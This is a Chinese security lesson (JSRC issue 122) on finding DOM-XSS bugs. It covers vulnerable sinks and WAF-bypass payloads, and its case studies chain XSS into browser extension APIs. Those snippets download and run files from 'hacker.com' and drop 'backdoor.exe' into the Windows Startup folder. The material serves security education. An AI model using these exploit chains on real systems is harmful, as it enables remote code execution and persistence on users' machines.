安全小课堂第122期【DOM-XSS漏洞挖掘】

XSS(Cross-site scripting)是一种常见的web漏洞，按XSS payload位置的不同，分为反射型、存储型和DOM型XSS。

攻击者可以通过让受害者访问构造好的恶意链接，实现劫持、钓鱼、窃取登陆凭证（通常指document.cookie）。

由于javascript的灵活性较高，所以DOM-XSS在web应用中，也是一种较难防御和修复，且出现的场景较多的漏洞。

JSRC安全小课堂第122期，邀请到Camaro作为讲师就DOM-XSS漏洞挖掘为大家进行分享。同时感谢小伙伴们的精彩讨论。

京安小妹：DOM-XSS出现的常见位置？

Camaro：

一、URL代入页面

这类DOM-XSS是最常见的，它的漏洞点通常是以下形式出现。

function getUrlParam(name) { var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); var r = window.location.href.substr(1).match(reg); if (r != null) return unescape(r[2]); return null;
}document.getElementById('foo').innerHTML = getUrlParam('foo')

它出现的地方比较多，可能会是名称，地点，标题等等。

大多数情况下它和反射型XSS的区别不大，最大的区别是取的值不同。

来看代码中的第二行

var r = window.location.search.substr(1).match(reg);

此时取值时，匹配的URL是location.href，这个值包含了location.search和location.hash的值，而location.hash的值是不被传到服务器，并且能被前端JS通过getUrlParam函数成功取值。

二、跳转类

在javascript语法中，使用如下代码可以将页面进行跳转操作

location.href = urlparams.redirecturl;

这样的跳转通常会出现在登录页、退出页、中间页。

如果开发者让用户可以控制redirecturl参数，就可以使用javascript:alert(1)的形式进行XSS攻击。

最近几年的APP开发比较热门，通过web唤起APP的操作也是越来越多，跳转的协议也是多种多样，例如webview://,myappbridge://等等。仅仅使用http和https来判断URL是否合法已经不适用了，于是由跳转所产生的DOM-XSS漏洞也逐渐增多。

三、缓存类

开发者在缓存前端数据的时候，通常会存在sessionStorage,localStorage,cookie中，因为sessionStorage在页面刷新时就失效的特性，利用方式相对简单的只有后面两种。

function getCookie(name) { var arr = document.cookie.match(new RegExp("(^|; )" + name + "=([^;]*)(;|$)")); if (arr != null) return unescape(arr[2]); return null; }

根据浏览器的同源策略，Cookie是可以被子域名读到的。一旦我们发现在http://example.com/setCookie.php?key=username&value=password下可以设置Cookie,就可以结合一些读取Cookie的页面进行XSS攻击。

localStorage的特性和Cookie类似，但它和Cookie不同的是，Cookie被设置过之后，具有有效期这个特性，而localStorage被设置过后，只要不手动清除或覆盖，这个值永远不会消失。 Cookie中通常会存放少量的缓存信息，像用户的头像URL，用户名等等，而localStorage中通常会存放一些大量，需要重复加载的数据，如搜索历史记录，缓存JS代码等等。

这些值被修改过以后，大部分开发者都不会去校验它的合法性，是否被修改过。

四、postMessage

postMessage可以跨域使用，使用场景比较广泛，如支付成功的回调页面。

window.addEventListener("message", function (e) { eval(e.data); }) 这段代码中，监听了message事件，取了e.data的值，也就是来自于其他页面上的message消息，但是没有检测来源。如果页面允许被嵌套，即可嵌套该页面，再使用window[0].postMessage即可向该窗口发送数据。

五、window.name

window.name与其他window对象不同，它在窗口刷新后会保留。例如

当这个页面刷新跳转到其他网站时，如果这个网站没有对window.name进行设置，那么当前window.name的值仍然是Foo

京安小妹：DOM-XSS优势在哪里？

Camaro：

一、避开WAF

正如我们开头讲的第一种DOM-XSS，可以通过 location.hash 的方式，将参数写在 # 号后，既能让JS读取到该参数，又不让该参数传入到服务器，从而避免了WAF的检测。

我们可以使用 ja%0avasc%0aript:alert(1) , jx61vascript:alert(1) 的形式绕过

可以利用 postMessage,window.name,localStorage 等攻击点进行XSS攻击的，攻击代码不会经过WAF。

二、长度不限

当我们可以用当前页面的变量名作为参数时，可以使用 <iframe src="http://example.com/?poc=name"> 的方式进行攻击。

三、隐蔽性强

攻击代码可以具有隐蔽性，持久性。例如使用Cookie和localStorage作为攻击点的DOM-XSS，非常难以察觉，且持续的时间长。

京安小妹：DOM-XSS巧妙利用的方式？

Camaro：

我们熟知的XSS利用方式有窃取Cookie，钓鱼页面，盲打后台地址。如果你对这个网站的框架比较熟悉的话，甚至可以让管理员上传一个WebShell。

接下来我们要分享的是，如何通过XSS来实现客户端RCE。

我们知道，chromium支持开发者扩展api。厂商在开发浏览器的时候，或是为了自己的业务需求，或是出于用户体验，会给浏览器扩展上一些自己的接口，这些接口比较隐蔽，且只接口来自于信任域名的数据。但是如果我们有一个特殊域名下的XSS，或者这个特殊域名可以被跨域，我们甚至可以找任意一个当前域名的XSS对它进行攻击。

通过以下代码就可以对当前页面下的 chrome 对象进行遍历。

var p = chrome;for (var key in p) { if (p.hasOwnProperty(key) && p[key] == "[object Object]") { console.log(key + " -> " + p[key]); } } 由遍历的结果可以看出，除了默认的 app,webstore 之外，还有一些特殊的 [object Object] 对象。再结合厂商的名字，就可以猜测出这个接口是做什么用的。

有一款浏览器，它的接口特别丰富，现在给大家分享以下之前的调试过程。

京安小妹：DOM-XSS案例分析?

Camaro：

案例一:

首先从业务入手，找到了一个叫做game.html的页面，我们观察到页面上大部分是游戏，使用了上面的代码对chrome对象进行遍历之后，发现了browser_game_api的对象，这个继续遍历这个api，看它有哪些变量、函数和对象。

这时候我们发现了一个函数叫做 downloadAndRun ，从函数名来看，这个函数执行的操作是比较危险的。那么这些函数的参数是什么的，我们不知道，就需要从这个特殊域名下面的页面中去找。根据函数名搜索，很快就找到了这个函数调用的地方。于是构造攻击代码：

browser_game_api.downloadAndRun({'url': 'https://hacker.com/putty.exe'}, function (a) { console.log(a) })

又因为这个站点将自己的domain设置成了example.com，于是我们可以通过其他exmaple.com下的XSS来调用它页面下的接口。

首先发现了https://exmaple.com/下的一个XSS，利用XSS将当前页面的document.domain设置为example.com，这样它就和game.html同域了。

接下来在XSS页面执行以下代码，即可在新的窗口弹出putty.exe。

document.domain="exmaple.com" // 确保当前域和打开的域是同域var a = window.open("https://exmaple.com/")a.onload = function(){a.browser_game_api.downloadAndRun({'url': 'https://hacker.com/putty.exe'}, function (a) { console.log(a) }) }
安全小课堂第122期【DOM-XSS漏洞挖掘】

案例二:

继续遍历Api，我们又发现了一个特殊的接口，用于设置用户的偏好，其中就包含设置下载目录和设置静默下载。

于是我们想到了另一种攻击方式，就是通过调用它自带的设置偏好接口，将用户的下载目录设置为window的启动目录 C:\Users\User\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup

同样的，找到一个 exmaple.com 下的XSS，将自身的 domain 设置成 exmaple.com ，再使用 window.opener 的方式，调用特殊权限页面的接口进行攻击。

browser.setDownloadPath( { 'path':'C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' }); location.href="http://www.example.com/backdoor.exe";
安全小课堂第122期【DOM-XSS漏洞挖掘】